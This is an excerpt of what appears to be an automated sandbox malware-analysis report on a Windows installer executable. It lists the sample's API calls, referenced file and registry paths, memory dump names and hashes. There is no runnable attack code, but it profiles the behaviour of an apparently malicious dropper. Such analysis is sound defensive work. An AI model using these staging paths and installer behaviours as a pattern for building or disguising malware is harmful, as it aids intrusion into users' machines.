SendMessageW.USER32(?,00001073,00000000,?), ref: 004054B4
GlobalUnlock.KERNEL32(00000000), ref: 004054D4
SetClipboardData.USER32(0000000D,00000000), ref: 004054DF
CloseClipboard.USER32 ref: 004054E5

Strings

{, xrefs: 004053C8

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: da6ea4901efb283be28e634786642a951ca9a14736cadbfe75f68e92e901532f
Instruction ID: 0991f248181b02e880a99382a637b1aa596eb82eb2a2f586ae382473c4d6dcb0
Opcode Fuzzy Hash: da6ea4901efb283be28e634786642a951ca9a14736cadbfe75f68e92e901532f
Instruction Fuzzy Hash: 9CB15970900209FFEB219F60DD89AAE7B79FB04355F00807AFA01BA1A0C7755E52DF69

Function 00405D99 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,?,00405058,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,00000000,0040FE48), ref: 00405E5C
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00405EDA
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00405EED
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00405F29
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00405F37
CoTaskMemFree.OLE32(?), ref: 00405F42
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F66
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,?,00405058,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,00000000,0040FE48), ref: 00405FC0

Strings

Call, xrefs: 00405DC3, 00405EA3, 00405EC4, 00405ED9, 00405EEC, 00405F08, 00405F33, 00405F65, 00405F6B, 00405F85, 00405F99, 00405FB9, 00405FBF, 00405FCB, 00405FFE
Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll, xrefs: 00405DBE
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F60
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405EA8

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-937106742
Opcode ID: bb187ed8235d5e602cac5fb493e7f0f28f0e0d380d5fcb884fe186b1f5943fdc
Instruction ID: 8be6bcb63ccaebc5f1bc3563bf1d434f80ac3f189a087fad5798c32c49afab67
Opcode Fuzzy Hash: bb187ed8235d5e602cac5fb493e7f0f28f0e0d380d5fcb884fe186b1f5943fdc
Instruction Fuzzy Hash: 3661D271A00906ABEF209F25CC44AAF37A5EF54314F10813BE955BA2D0D73D5A81CF9E

Function 004055FF Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\rFa24c148.exe"), ref: 00405628
lstrcatW.KERNEL32(dannebrogsordnen\gypseian.tof,\*.*,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\rFa24c148.exe"), ref: 00405670
lstrcatW.KERNEL32(?,00409014,?,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\rFa24c148.exe"), ref: 00405693
lstrlenW.KERNEL32(?,?,00409014,?,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\rFa24c148.exe"), ref: 00405699
FindFirstFileW.KERNELBASE(dannebrogsordnen\gypseian.tof,?,?,?,00409014,?,dannebrogsordnen\gypseian.tof,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\rFa24c148.exe"), ref: 004056A9
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405749
FindClose.KERNEL32(00000000), ref: 00405758

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040560D
"C:\Users\user\Desktop\rFa24c148.exe", xrefs: 00405608
dannebrogsordnen\gypseian.tof, xrefs: 00405658, 0040565E, 0040566F, 004056A8
\*.*, xrefs: 0040566A

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\rFa24c148.exe"$C:\Users\user\AppData\Local\Temp\$\*.*$dannebrogsordnen\gypseian.tof
API String ID: 2035342205-1246840294
Opcode ID: 42740435911353286c6922aa83c672c94fcfc96c868b16cb6d961babd0fb7d8c
Instruction ID: b79195ecc2de65d8d99f91511e5e2c7060301b719c54f9eae921112220d3ef15
Opcode Fuzzy Hash: 42740435911353286c6922aa83c672c94fcfc96c868b16cb6d961babd0fb7d8c
Instruction Fuzzy Hash: 2C41CF30901A14F6DB216B618C89EAF7678EF45724F60457BF804721D1D77C89C1EE6E

Function 004060BA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,004256E8,C:\,00405913,C:\,C:\,00000000,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 004060C5
FindClose.KERNEL32(00000000), ref: 004060D1

Strings

C:\, xrefs: 004060BA
VB, xrefs: 004060BB

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\$VB
API String ID: 2295610775-997398997
Opcode ID: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction ID: f9ddfc5d4f3467e36225d2e4908305aa5d63d15eb4a774a72597514f161c5606
Opcode Fuzzy Hash: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction Fuzzy Hash: 95D012719890309BC2105B386D0C84B7A589F153317528F73F42AF23E0C7388C6596AD

Function 004063CC Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction ID: 3bb9d82cab8560ee02f1719a45e7f61305cf8b7accb1ce145186acec9c03a25a
Opcode Fuzzy Hash: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction Fuzzy Hash: B6F17870D04229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Function 004060E1 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
LoadLibraryA.KERNELBASE(?,?,00000020,00403242,00000008), ref: 004060FE
GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 9fd8a9fe8f036a5891475527ba8adc4fecc6861406a6458080dad13fdc4695bd
Instruction ID: aca730e0da059772988c79adabdc3e9a20cb86bb5b3cd76b20d24f00bd9ffcf2
Opcode Fuzzy Hash: 9fd8a9fe8f036a5891475527ba8adc4fecc6861406a6458080dad13fdc4695bd
Instruction Fuzzy Hash: 25E0CD32A081205BD7114B20AD4896773AC9FDD6413050439F905FA181D7B4BC11DFA9

Function 00403741 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNELBASE(?,?,00000020,00403242,00000008), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

lstrcatW.KERNEL32(1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000,"C:\Users\user\Desktop\rFa24c148.exe"), ref: 004037C2
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer,1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 00403842
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer,1033,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000), ref: 00403855
GetFileAttributesW.KERNEL32(Call), ref: 00403860
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer), ref: 004038A9

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

RegisterClassW.USER32(00428140), ref: 004038E6
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004038FE
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403933
ShowWindow.USER32(00000005,00000000), ref: 00403969
LoadLibraryW.KERNELBASE(RichEd20), ref: 0040397A
LoadLibraryW.KERNEL32(RichEd32), ref: 00403985
GetClassInfoW.USER32(00000000,RichEdit20W,00428140), ref: 00403995
GetClassInfoW.USER32(00000000,RichEdit,00428140), ref: 004039A2
RegisterClassW.USER32(00428140), ref: 004039AB
DialogBoxParamW.USER32(?,00000000,00403AE4,00000000), ref: 004039CA

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040374D
Call, xrefs: 00403809, 00403812, 00403820, 0040386F, 00403875
"C:\Users\user\Desktop\rFa24c148.exe", xrefs: 00403744
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer, xrefs: 004037D1, 004037D9, 0040387C, 00403882, 00403892
.exe, xrefs: 0040384F
RichEdit, xrefs: 0040399C
Control Panel\Desktop\ResourceLocale, xrefs: 00403775
_Nb, xrefs: 004038C5, 0040392D
RichEd32, xrefs: 00403980
RichEdit20W, xrefs: 0040398D, 00403993
.DEFAULT\Control Panel\International, xrefs: 004037AD
1033, xrefs: 00403761, 004037BD
RichEd20, xrefs: 00403975

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\rFa24c148.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-2079698909
Opcode ID: ac3d5c1165921db0f3dc03f3453a2ea74269edb9cc618bb3ebb87fcdaaa4c481
Instruction ID: afa308160dea80a5d8dcbd85ebd8b3f8f2b3ac55536d549029ec0fdf087277f4
Opcode Fuzzy Hash: ac3d5c1165921db0f3dc03f3453a2ea74269edb9cc618bb3ebb87fcdaaa4c481
Instruction Fuzzy Hash: 5D61C471644300BAE720AF269C4AF3B3A6CEB45745F80447FF940B62E1DB799D12CA2D

Function 00403AE4 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B20
ShowWindow.USER32(?), ref: 00403B3D
DestroyWindow.USER32 ref: 00403B51
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403B6D
GetDlgItem.USER32(?,?), ref: 00403B8E
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403BA2
IsWindowEnabled.USER32(00000000), ref: 00403BA9
GetDlgItem.USER32(?,00000001), ref: 00403C57
GetDlgItem.USER32(?,00000002), ref: 00403C61
SetClassLongW.USER32(?,000000F2,?), ref: 00403C7B
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403CCC
GetDlgItem.USER32(?,00000003), ref: 00403D72
ShowWindow.USER32(00000000,?), ref: 00403D93
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403DA5
EnableWindow.USER32(?,?), ref: 00403DC0
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DD6
EnableMenuItem.USER32(00000000), ref: 00403DDD
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403DF5
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403E08
lstrlenW.KERNEL32(00422698,?,00422698,004281A0), ref: 00403E31
SetWindowTextW.USER32(?,00422698), ref: 00403E45
ShowWindow.USER32(?,0000000A), ref: 00403F79

Memory Dump Source

